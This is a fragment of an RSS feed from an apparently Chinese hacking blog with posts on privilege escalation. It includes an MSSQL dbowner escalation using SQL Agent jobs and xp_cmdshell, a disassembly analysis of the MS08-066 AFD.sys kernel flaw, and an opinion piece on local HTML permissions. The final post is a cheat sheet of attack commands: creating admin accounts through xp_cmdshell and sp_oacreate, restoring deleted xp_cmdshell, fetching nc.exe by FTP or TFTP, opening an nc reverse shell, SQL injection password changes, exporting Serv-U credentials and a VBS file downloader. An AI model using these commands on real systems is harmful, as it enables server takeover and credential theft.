		<description><![CDATA[一个针对MMSQL 2000 下的提权脚本,Dbowner提权网络上大部分都是备份到启动项后通过重启服务器达到提权的目的.但效果并不理想.其实在MMSQL 中如果开启了 SQL Server Agent 服务的话可以通过低权限下建立帐户 代码： EXEC sp_add_job @job_name = 'jktest', @enabled = 1, @delete_level = 1 EXEC sp_add_jobstep @job_name = 'jktest', @step_name = 'ExeC my sql', @subsystem = 'TSQL', @CommAnd = 'exeC master..xp_exeCresultSet N''seleCt ''''exeC master..xp_Cmdshell "&#60;% =Serverdos%&#62;&#62;C:\jk.txt"'''''',N''Master''' EXEC sp_add_jobServer @job_name = 'jktest', @Server_name = '&#60;%=Servername%&#62;' EXEC sp_start_job @job_name = 'jktest' [...]]]></description>
			<content:encoded><![CDATA[<p>一个针对MMSQL 2000 下的提权脚本,Dbowner提权网络上大部分都是备份到启动项后通过重启服务器达到提权的目的.但效果并不理想.其实在MMSQL 中如果开启了 SQL Server Agent 服务的话可以通过低权限下建立帐户</p>
<p>代码：</p>
<blockquote><p>EXEC sp_add_job @job_name = 'jktest', @enabled = 1, @delete_level = 1 EXEC sp_add_jobstep @job_name = 'jktest', @step_name = 'ExeC my sql', @subsystem = 'TSQL', @CommAnd = 'exeC master..xp_exeCresultSet N''seleCt ''''exeC master..xp_Cmdshell "&lt;% =Serverdos%&gt;&gt;C:\jk.txt"'''''',N''Master''' EXEC sp_add_jobServer @job_name = 'jktest', @Server_name = '&lt;%=Servername%&gt;' EXEC sp_start_job @job_name = 'jktest'</p></blockquote>
<p>其实这个方法早就有了,不过还没有特定的Dbowner提权脚本, 我简单的写了个脚本程序,方便使用.不过这个方法我已经在ASP.NET Web BackDoor中加入了这个功能. 下载地址: http://www.ahiec.net/ewebeditor/UploadFile/dbsql.rar</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li><li>2008年10月16日 -- <a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/340.html" title="提权的一些小集合">提权的一些小集合</a></li><li>2007年12月10日 -- <a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/937.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于html本地权限问题</title>
		<link>http://www.4shell.org/archives/775.html</link>
		<comments>http://www.4shell.org/archives/775.html#comments</comments>
		<pubDate>Thu, 14 May 2009 07:03:08 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/775.html</guid>
		<description><![CDATA[作者：lcx<br/><br/>最近看了两篇文章，一篇是Google Chrome使用ajax读取本地文件漏洞，另一篇是本地执行ajax的权限问题，对此我有一点自己的想法，我认为这都不算是安全问题，好像这两篇文章没有对本地html的权限有足够的了解。<br/><br/>举两个例子，一个是html读出本地txt内容，一个是html操作本地数据库，关键是用户允许执行本地的js了。<br/><br/>如果还不清楚html权限有足够大的话，请执行C:\WINDOWS\pchealth\helpctr\System\sysinfo下面的相关的html，如C:\WINDOWS\pchealth\helpctr\System\sysinfo\sysinfosum.htm，你就有足够的了解。<br/>...
]]></description>
			<content:encoded><![CDATA[<p>作者：lcx<br/><br/>最近看了两篇文章，一篇是Google Chrome使用ajax读取本地文件漏洞，另一篇是本地执行ajax的权限问题，对此我有一点自己的想法，我认为这都不算是安全问题，好像这两篇文章没有对本地html的权限有足够的了解。<br/><br/>举两个例子，一个是html读出本地txt内容，一个是html操作本地数据库，关键是用户允许执行本地的js了。<br/><br/>如果还不清楚html权限有足够大的话，请执行C:\WINDOWS\pchealth\helpctr\System\sysinfo下面的相关的html，如C:\WINDOWS\pchealth\helpctr\System\sysinfo\sysinfosum.htm，你就有足够的了解。<br/><br/>如果有了用户执行本地active权限的操作，对IE来讲是不分浏览器的版本的，像html读出本地txt内容同样在IE8下就适用（win7+ie8以及xpsp2+ie7测试通过）。所以我认为空虚浪子心发的一会对这个浏览器测试一会对那个浏览器测试ajax读本地内容，以及xeye团队对这个议题研究的意义不大，本身是允许用户执行了本地js了。<br/><br/>如果没有提示来执行的话，才算是安全问题。举个例子，像ms06014网马在xp系统上补丁打了，你本地执行ms06014网马，如果一步一步允许所有执行都同意的话，它同样是可以执行的。<br/><br/>一家之言，希望以上两篇文章的作者不要骂我。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2008年10月16日 -- <a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/340.html" title="提权的一些小集合">提权的一些小集合</a></li><li>2007年12月10日 -- <a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/775.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</title>
		<link>http://www.4shell.org/archives/429.html</link>
		<comments>http://www.4shell.org/archives/429.html#comments</comments>
		<pubDate>Thu, 16 Oct 2008 10:33:02 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MS08-066]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/429.html</guid>
		<description><![CDATA[<div class="entry-content"><p>Author:&#160;&#160;Polymorphours<br />Email:&#160;&#160;&#160;Polymorphours@whitecell.org<br />Homepage:http://www.whitecell.org<br />Date:&#160;&#160;&#160;&#160;2008-10-15</p><p>漏洞模块: AFD.sys<br />漏洞类型: 任意内核地址可写</p>...</div>
]]></description>
			<content:encoded><![CDATA[<div class="entry-content">
<p>Author:&nbsp;&nbsp;Polymorphours<br />Email:&nbsp;&nbsp;&nbsp;Polymorphours@whitecell.org<br />Homepage:http://www.whitecell.org<br />Date:&nbsp;&nbsp;&nbsp;&nbsp;2008-10-15</p>
<p>漏洞模块: AFD.sys<br />漏洞类型: 任意内核地址可写</p>
<p>这个漏洞又是一个可以写任意内核地址的漏洞，产生这个漏洞的原因是 ProbeForWrite 函数因为检查长度为 0 的Buffer被绕过。下面看下具体漏洞的情况，这个漏洞出现在函数AfdGetRemoteAddress 中，当传入的第7个参数为 0 的时候，ProbeForWrite的检查形同虚设了。<br />注意第六个参数 PVOID Address, 它是由 Irp-&gt;UserBuffer 传入的，而 SIZE_T Length 为OutputBufferLength，那么如果在 DeviceIoControl 中的 OutputBuffer 设置成内核需要写的地址，OutputBufferLength 设置为 0，并设置正确的 IoDeviceCode 即可触发这个漏洞.</p>
<p>PAGE:00017D17 ; int __stdcall AfdGetRemoteAddress(int,int,char,int,int,PVOID Address,SIZE_T Length,int)<br />PAGE:00017D17 __stdcall AfdGetRemoteAddress(x, x, x, x, x, x, x, x) proc near<br />PAGE:00017D17 ; DATA XREF: .data:0001230Co<br />PAGE:00017D17<br />PAGE:00017D17 var_24 = dword ptr -24h<br />PAGE:00017D17 var_20 = dword ptr -20h<br />PAGE:00017D17 var_1C = dword ptr -1Ch<br />PAGE:00017D17 ms_exc = CPPEH_RECORD ptr -18h<br />PAGE:00017D17 arg_0 = dword ptr 8<br />PAGE:00017D17 arg_8 = byte ptr 10h<br />PAGE:00017D17 Address = dword ptr 1Ch<br />PAGE:00017D17 Length = dword ptr 20h<br />PAGE:00017D17 arg_1C = dword ptr 24h<br />PAGE:00017D17<br />PAGE:00017D17 push 14h<br />PAGE:00017D19 push offset unk_11B00<br />PAGE:00017D1E call __SEH_prolog<br />PAGE:00017D1E<br />PAGE:00017D23 mov eax, [ebp+arg_0]<br />PAGE:00017D26 mov ebx, [eax+0Ch]<br />PAGE:00017D29 mov [ebp+var_24], ebx<br />PAGE:00017D2C xor esi, esi<br />PAGE:00017D2E mov eax, [ebp+arg_1C]<br />PAGE:00017D31 mov [eax], esi<br />PAGE:00017D33 push ebx<br />PAGE:00017D34 call AfdLockEndpointContext(x)<br />PAGE:00017D34<br />PAGE:00017D39 mov [ebp+var_20], eax<br />PAGE:00017D3C cmp eax, esi<br />PAGE:00017D3E jz loc_17DE0<br />PAGE:00017D3E<br />PAGE:00017D44 cmp word ptr [ebx], 0AFD2h<br />PAGE:00017D49 jnz loc_17DE0<br />PAGE:00017D49<br />PAGE:00017D4F cmp byte ptr [ebx+2], 3<br />PAGE:00017D53 jnz loc_17DE0<br />PAGE:00017D53<br />PAGE:00017D59 movzx eax, word ptr [ebx+5Ah]<br />PAGE:00017D5D movzx ecx, word ptr [ebx+58h]<br />PAGE:00017D61 add ecx, eax<br />PAGE:00017D63 cmp ecx, [ebx+74h]<br />PAGE:00017D66 ja short loc_17DE0<br />PAGE:00017D66<br />PAGE:00017D68 cmp [ebp+Length], eax<br />&lt;----这里检查Buffer大小，如果Buffer大于规定的大小就有默认的大小来代替<br />PAGE:00017D6B jnb short loc_17D76<br />PAGE:00017D6B<br />PAGE:00017D6D mov [ebp+var_1C], 80000005h<br />PAGE:00017D74 jmp short loc_17D7C<br />&lt;----最终导致问题点: 如果BufferLength小于的话，居然还能继续运行它向下运行<br />PAGE:00017D74<br />PAGE:00017D76 ; ---------------------------------------------------------------------------<br />PAGE:00017D76<br />PAGE:00017D76 loc_17D76: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+54j<br />PAGE:00017D76 mov [ebp+Length], eax<br />&lt;---用规定的长度代替<br />PAGE:00017D79 mov [ebp+var_1C], esi<br />PAGE:00017D79<br />PAGE:00017D7C<br />PAGE:00017D7C loc_17D7C: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5Dj<br />PAGE:00017D7C mov [ebp+ms_exc.disabled], esi<br />PAGE:00017D7F cmp [ebp+arg_8], 0<br />PAGE:00017D83 jz short loc_17D93<br />PAGE:00017D83<br />PAGE:00017D85 push 1 ; Alignment<br />PAGE:00017D87 push [ebp+Length] ; Length<br />PAGE:00017D8A push [ebp+Address] ; Address<br />PAGE:00017D8D call ds:ProbeForWrite(x,x,x)<br />&lt;---如果 ebp+Length为0，那么检查被绕过<br />PAGE:00017D8D<br />PAGE:00017D93<br />PAGE:00017D93 loc_17D93: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+6Cj<br />PAGE:00017D93 movzx ecx, word ptr [ebx+5Ah]<br />PAGE:00017D97 movzx esi, word ptr [ebx+58h]<br />PAGE:00017D9B add esi, [ebp+var_20]<br />PAGE:00017D9E mov edi, [ebp+Address]<br />&lt;--- memcpy的代码，拷贝数据到UserBuffer中<br />PAGE:00017DA1 mov eax, ecx<br />PAGE:00017DA3 shr ecx, 2<br />PAGE:00017DA6 rep movsd<br />PAGE:00017DA8 mov ecx, eax<br />PAGE:00017DAA and ecx, 3<br />PAGE:00017DAD rep movsb<br />PAGE:00017DAF mov eax, [ebx+74h]<br />PAGE:00017DB2 mov ecx, [ebp+arg_1C]<br />PAGE:00017DB5 mov [ecx], eax<br />PAGE:00017DB7 or [ebp+ms_exc.disabled], 0FFFFFFFFh<br />PAGE:00017DBB jmp short loc_17DE7<br />PAGE:00017DBB<br />PAGE:00017DBB ; ---------------------------------------------------------------------------<br />PAGE:00017DBD align 10h<br />PAGE:00017DC0 db 2 dup(90h)<br />PAGE:00017DC2 ; ---------------------------------------------------------------------------<br />PAGE:00017DC2<br />PAGE:00017DC2 loc_17DC2: ; DATA XREF: .rdata:00011B04o<br />PAGE:00017DC2 lea eax, [ebp-1Ch]<br />PAGE:00017DC5 push eax<br />PAGE:00017DC6 push dword ptr [ebp-14h]<br />PAGE:00017DC9 call AfdExceptionFilter(x,x)<br />PAGE:00017DC9<br />PAGE:00017DCE retn</p>
<p>在看看补丁的情况</p>
<p>PAGE:00017D17 ; int __stdcall AfdGetRemoteAddress(int,int,char,int,int,PVOID Address,int,int)<br />PAGE:00017D17 __stdcall AfdGetRemoteAddress(x, x, x, x, x, x, x, x) proc near<br />PAGE:00017D17 ; DATA XREF: .data:0001230Co<br />PAGE:00017D17<br />PAGE:00017D17 var_24 = dword ptr -24h<br />PAGE:00017D17 var_20 = dword ptr -20h<br />PAGE:00017D17 var_1C = dword ptr -1Ch<br />PAGE:00017D17 ms_exc = CPPEH_RECORD ptr -18h<br />PAGE:00017D17 arg_0 = dword ptr 8<br />PAGE:00017D17 arg_8 = byte ptr 10h<br />PAGE:00017D17 Address = dword ptr 1Ch<br />PAGE:00017D17 arg_18 = dword ptr 20h<br />PAGE:00017D17 arg_1C = dword ptr 24h<br />PAGE:00017D17<br />PAGE:00017D17 push 14h<br />PAGE:00017D19 push offset unk_11B00<br />PAGE:00017D1E call __SEH_prolog<br />PAGE:00017D1E<br />PAGE:00017D23 mov eax, [ebp+arg_0]<br />PAGE:00017D26 mov ebx, [eax+0Ch]<br />PAGE:00017D29 mov [ebp+var_24], ebx<br />PAGE:00017D2C xor esi, esi<br />PAGE:00017D2E mov eax, [ebp+arg_1C]<br />PAGE:00017D31 mov [eax], esi<br />PAGE:00017D33 push ebx<br />PAGE:00017D34 call AfdLockEndpointContext(x)<br />PAGE:00017D34<br />PAGE:00017D39 mov [ebp+var_20], eax<br />PAGE:00017D3C cmp eax, esi<br />PAGE:00017D3E jz loc_17DDB<br />PAGE:00017D3E<br />PAGE:00017D44 cmp word ptr [ebx], 0AFD2h<br />PAGE:00017D49 jnz loc_17DDB<br />PAGE:00017D49<br />PAGE:00017D4F cmp byte ptr [ebx+2], 3<br />PAGE:00017D53 jnz loc_17DDB<br />PAGE:00017D53<br />PAGE:00017D59 movzx eax, word ptr [ebx+5Ah]<br />PAGE:00017D5D movzx ecx, word ptr [ebx+58h]<br />PAGE:00017D61 add ecx, eax<br />PAGE:00017D63 cmp ecx, [ebx+74h]<br />PAGE:00017D66 ja short loc_17DDB<br />PAGE:00017D66<br />PAGE:00017D68 cmp [ebp+arg_18], eax<br />PAGE:00017D6B jnb short loc_17D76<br />PAGE:00017D6B<br />PAGE:00017D6D mov [ebp+var_1C], 80000005h<br />PAGE:00017D74 jmp short loc_17DE2<br />&lt;---补丁就是在这里，如果访问的BufferLength小于规定的大小，那么直接返回错误<br />PAGE:00017D74<br />PAGE:00017D76 ; ---------------------------------------------------------------------------<br />PAGE:00017D76<br />PAGE:00017D76 loc_17D76: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+54j<br />PAGE:00017D76 mov [ebp+var_1C], esi<br />PAGE:00017D79 mov [ebp+ms_exc.disabled], esi<br />PAGE:00017D7C cmp [ebp+arg_8], 0<br />PAGE:00017D80 jz short loc_17D8E<br />PAGE:00017D80<br />PAGE:00017D82 push 1 ; Alignment<br />PAGE:00017D84 push eax ; Length<br />PAGE:00017D85 push [ebp+Address] ; Address<br />PAGE:00017D88 call ds:ProbeForWrite(x,x,x)<br />PAGE:00017D88<br />PAGE:00017D8E<br />PAGE:00017D8E loc_17D8E: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+69j<br />PAGE:00017D8E movzx ecx, word ptr [ebx+5Ah]<br />PAGE:00017D92 movzx esi, word ptr [ebx+58h]<br />PAGE:00017D96 add esi, [ebp+var_20]<br />PAGE:00017D99 mov edi, [ebp+Address]<br />PAGE:00017D9C mov eax, ecx<br />PAGE:00017D9E shr ecx, 2<br />PAGE:00017DA1 rep movsd<br />PAGE:00017DA3 mov ecx, eax<br />PAGE:00017DA5 and ecx, 3<br />PAGE:00017DA8 rep movsb<br />PAGE:00017DAA mov e<br />
ax, [ebx+74h]<br />PAGE:00017DAD mov ecx, [ebp+arg_1C]<br />PAGE:00017DB0 mov [ecx], eax<br />PAGE:00017DB2 or [ebp+ms_exc.disabled], 0FFFFFFFFh<br />PAGE:00017DB6 jmp short loc_17DE2<br />PAGE:00017DB6<br />PAGE:00017DB6 ; ---------------------------------------------------------------------------<br />PAGE:00017DB8 dd 90909090h<br />PAGE:00017DBC db 90h<br />PAGE:00017DBD ; ---------------------------------------------------------------------------<br />PAGE:00017DBD<br />PAGE:00017DBD loc_17DBD: ; DATA XREF: .rdata:00011B04o<br />PAGE:00017DBD lea eax, [ebp-1Ch]<br />PAGE:00017DC0 push eax<br />PAGE:00017DC1 push dword ptr [ebp-14h]<br />PAGE:00017DC4 call AfdExceptionFilter(x,x)<br />PAGE:00017DC4<br />PAGE:00017DC9 retn<br />PAGE:00017DC9<br />PAGE:00017DC9 ; ---------------------------------------------------------------------------<br />PAGE:00017DCA align 4<br />PAGE:00017DCC db 3 dup(90h)<br />PAGE:00017DCF ; ---------------------------------------------------------------------------<br />PAGE:00017DCF<br />PAGE:00017DCF loc_17DCF: ; DATA XREF: .rdata:00011B08o<br />PAGE:00017DCF mov esp, [ebp-18h]<br />PAGE:00017DD2 or dword ptr [ebp-4], 0FFFFFFFFh<br />PAGE:00017DD6 mov ebx, [ebp-24h]<br />PAGE:00017DD9 jmp short loc_17DE2<br />PAGE:00017DD9<br />PAGE:00017DDB ; ---------------------------------------------------------------------------<br />PAGE:00017DDB<br />PAGE:00017DDB loc_17DDB: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+27j<br />PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+32j<br />PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+3Cj<br />PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+4Fj<br />PAGE:00017DDB mov [ebp+var_1C], 0C0000140h<br />PAGE:00017DDB<br />PAGE:00017DE2<br />PAGE:00017DE2 loc_17DE2: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5Dj<br />PAGE:00017DE2 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+9Fj<br />PAGE:00017DE2 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+C2j<br />PAGE:00017DE2 push [ebp+var_20]<br />PAGE:00017DE5 push ebx<br />PAGE:00017DE6 call AfdUnlockEndpointContext(x,x)<br />PAGE:00017DE6<br />PAGE:00017DEB mov eax, [ebp+var_1C]<br />PAGE:00017DEE call __SEH_epilog<br />PAGE:00017DEE<br />PAGE:00017DF3 retn 20h</p>
<p>剩下的就是exploit它了，具体的方法也很简单，可以参照以前在 www.whitecell.org 上的代码。</p>
<p>WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。<br />WSS 主页：http://www.whitecell.org/<br />WSS 论坛：http://www.whitecell.org/forums/</p>
</div>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/429.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>提权的一些小集合</title>
		<link>http://www.4shell.org/archives/340.html</link>
		<comments>http://www.4shell.org/archives/340.html#comments</comments>
		<pubDate>Fri, 10 Oct 2008 05:00:49 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/340.html</guid>
		<description><![CDATA[<p>权限设置<br />cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览<br />cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览<br />cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览<br />cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览<br />cacls d:\website /g everyone /e /t授与完全控制<br />...</p>
]]></description>
			<content:encoded><![CDATA[<p>权限设置<br />
cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览<br />
cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览<br />
cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览<br />
cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览<br />
cacls d:\website /g everyone /e /t授与完全控制<br />
cacls d:\website /r everyone /e /t取消完全控制<br />
SA加系统用户<br />
exec master.dbo.xp_cmdshell 'net user admin admin /add'</p>
<p>exec master.dbo.xp_cmdshell 'net localgroup administrators admin /add'</p>
<p>2000servser系统:<br />
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user nosex jerry /add'</p>
<p>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators nosex /add'</p>
<p>xp或2003server系统:</p>
<p>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\cmd.exe /c net user nosex jerry /add'</p>
<p>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\cmd.exe /c net localgroup administrators nosex /add'</p>
<p>或者可以</p>
<p>declare @o int<br />
exec sp_oacreate 'wscript.shell', @o out<br />
exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX为你要执行的命令</p>
<p>恢复扩散<br />
dbcc addextendedproc ("sp_OACreate","odsole70.dll")<br />
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")</p>
<p>如果恢复不了的解释:<br />
因为管理员是直接删除dll文件，而没删除存储过程，你这样恢复肯定是提示存储过程已存在了。你要先删除存储过程，use master<br />
EXEC sp_dropextendedproc 'xp_cmdshell'</p>
<p>然后上传xplog70.dll到某个目录，例如C盘根目录，然后执行<br />
use master dbcc addextendedproc('xp_cmdshell','c:\xplog70.dll')<br />
就可以使用cmdshell存储过程执行系统指令了。</p>
<p>MB的没想到网关都能用NB这样设..落伍啦.落伍啦<br />
把他设置成网关看看行不行.在NBSI执行命令那里输入：echo interface ip &gt;ip.txt<br />
echo set address "Backup" static 10.90.90.157 255.255.255.0 10.90.90.14 1 &gt;&gt;ip.txt<br />
netsh exec ip.txt<br />
这样就把网关设置为10.90.90.14了，然后我们ipconfig看看是不是有网关了，</p>
<p>echo interface ip &gt;1.txt<br />
echo set address "本地连接" static 192.168.1.2 255.255.255.0 192.168.1 254 1 &gt;&gt;1.txt<br />
netsh exec 1.txt</p>
<p>address"本地连接的名称" 可以用ipconfig得到. static IP地址 子网掩码网关地址。<br />
好了现在我PING下163看看能不能PING通，如图8</p>
<p>命令行FTP下载文件<br />
echo open ip &gt;11.txt<br />
echo user &gt;&gt;11.txt<br />
echo pass &gt;&gt;11.txt<br />
echo get nc.exe &gt;&gt;11.txt<br />
echo bye &gt;&gt;11.txt<br />
ftp -s:11.txt</p>
<p>NC做反弹SHELL<br />
在本地监听1234端口 nc -vv -l -p 1234</p>
<p>然后在NBSI执行命令那里nc -e cmd.exe ip 1234</p>
<p>改密码地<br />
<a title="http://注入网址;update" href="http://注入网址;update/" target="_blank">http://注入网址;update</a> admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]</p>
<p>查看系统在线用户<br />
query user<br />
注销用户<br />
logoff<br />
D:\web\rar.exe a -k -r -s -m1 D:\web\zhu.rar D:\web\<br />
把站点打包到zhu.rar里，</p>
<p>参数说明:</p>
<p>a 添加文件到压缩文件中</p>
<p>-k 锁定压缩文件</p>
<p>-s产生固体存档,这样可以增大压缩比</p>
<p>-r包括子目录</p>
<p>-m1 设置压缩比</p>
<p>-m0 存储 添加到压缩文件时不压缩文件。<br />
-m1 最快 使用最快方式(低压缩)<br />
-m2 较快 使用快速压缩方式<br />
-m3 标准 使用标准(默认)压缩方式<br />
-m4 较好 使用较好压缩方式(较好压缩，但是慢)<br />
-m5 最好 使用最大压缩方式(最好的压缩，但是最慢</p>
<p>直接 D:\web\rar.exe a -r D:\web\zhu.rar D:\web\ 效果一样</p>
<p>exec xp_cmdshell 'echo 内容 &gt;&gt;绝对路径'</p>
<p>sc stop MSSQLSERVER<br />
sc config MSSQLSERVER start= disabled</p>
<p>导SERV-U用户.和密码,不过现在版本密码加密了``</p>
<p>regedit /e "D:\hosting\wwwroot\systones_com\htdocs\su.ini" "HKEY_LOCAL_MACHINE\SOFTWARE\cat soft\serv-u\"</p>
<p>导入是regedit /s xx.reg</p>
<p>端口:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp</p>
<p>tftp -i serverip get xx.exe</p>
<p>TFTP –I 127.0.0.1 get common.dll c:\common.dll</p>
<p>VBS<br />
--<br />
Set xPost = createObject("Microsoft.XMLHTTP")<br />
xPost.Open "GET","<a title="http://127.0.0.1/u.txt" href="http://127.0.0.1/u.txt" target="_blank">http://127.0.0.1/u.txt</a>",0 '下载文件的地址<br />
xPost.Send()<br />
Set sGet = createObject("ADODB.Stream")<br />
sGet.Mode = 3<br />
sGet.Type = 1<br />
sGet.Open()<br />
sGet.Write(xPost.responseBody)<br />
sGet.SaveToFile "c:\jp.exe",2</p>
<p>VPN<br />
关防火和Application Layer Gateway Service</p>
<p>3389登陆<br />
mstsc /console /v:IP:终端端口</p>
